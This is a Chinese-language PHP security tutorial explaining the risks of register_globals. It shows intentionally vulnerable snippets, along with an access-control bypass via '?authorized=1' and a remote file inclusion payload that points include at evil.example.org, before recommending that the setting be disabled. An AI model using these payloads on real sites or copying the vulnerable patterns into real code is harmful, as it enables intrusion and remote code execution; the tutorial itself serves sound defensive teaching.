register_globals參數(shù)在 PHP 的 4.2.0 及以上版本中默認(rèn)為屏蔽。雖然這并不認(rèn)為是一個(gè)安全漏洞，但是的確是一個(gè)安全風(fēng)險(xiǎn)。因此，應(yīng)該始終在開發(fā)過程中屏蔽register_globals。

為什么這是一個(gè)安全風(fēng)險(xiǎn)？每一種情形都需要的單獨(dú)說明才能描述清楚，對(duì)于所有情形只給出一個(gè)恰當(dāng)?shù)睦邮欠浅＠щy的。不管怎樣，最常見的例子是在PHP手冊(cè)中描述的：

<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}?>當(dāng)參數(shù)register_globals開啟的時(shí)候，這個(gè)頁面可以使用?authorized=1的參數(shù)訪問，從而繞過訪問控制。當(dāng)然，這個(gè)明顯的漏洞是糟糕的開發(fā)造成的，而不是register_globals的原因，但是這明顯增加了產(chǎn)生危險(xiǎn)漏洞的可能。消除了這個(gè)影響，普通的全局變量（比如本例中的$authorized）將不再受到客戶端提交的數(shù)據(jù)的影響。最好的方式是初始化全部變量并且將參數(shù)error_reporting設(shè)置為E_ALL，這樣使用未初始化的變量就不會(huì)在開發(fā)的時(shí)候被忽略。

另外一個(gè)關(guān)于register_globals的例子是在使用include包含動(dòng)態(tài)路徑的時(shí)候可能產(chǎn)生問題：

<?phpinclude '$path/script.php';?>當(dāng)參數(shù)register_globals開啟的時(shí)候，這個(gè)頁面可以使用?path=http%3A%2F%2Fevil.example.org%2F%3F的參數(shù)訪問，使得本例中的代碼和下面的代碼等同：

<?phpinclude 'http://evil.example.org/?/script.php';?>如果參數(shù)allow_url_fopen開啟的時(shí)候（即便是在php.ini-recommended中，默認(rèn)也是開啟的），這將如同包含本地文件一般包含http://evil.example.org/這樣的遠(yuǎn)程文件。這是一個(gè)常見的安全漏洞，甚至在一些非常著名的開源項(xiàng)目中都發(fā)現(xiàn)。

初始化$path可以避免這個(gè)隱患，而且不用屏蔽參數(shù)register_globals。然而開發(fā)人員的失誤可能會(huì)產(chǎn)生沒有初始化的變量，修改全局配置以屏蔽參數(shù)register_globals可以盡可能的避免這種隱患被忽視。

便利性總是另人愉快的，過去我們不得不手工區(qū)分哪些是表單數(shù)據(jù)，哪些是普通變量。而使用$_POST和$_GET內(nèi)建全局?jǐn)?shù)組也是非常方便的，并且承擔(dān)因?yàn)殚_啟參數(shù)register_globals造成的風(fēng)險(xiǎn)很不值得。雖然我完全不同意將開啟參數(shù)register_globals等同于薄弱的安全，但是我還是強(qiáng)烈建議將其設(shè)置為關(guān)閉。

需要補(bǔ)充說明的是，屏蔽參數(shù)register_globals會(huì)幫助開發(fā)人員更加留意數(shù)據(jù)的來源，而這正是一個(gè)有安全意識(shí)的開發(fā)人員所應(yīng)該具備的素質(zhì)。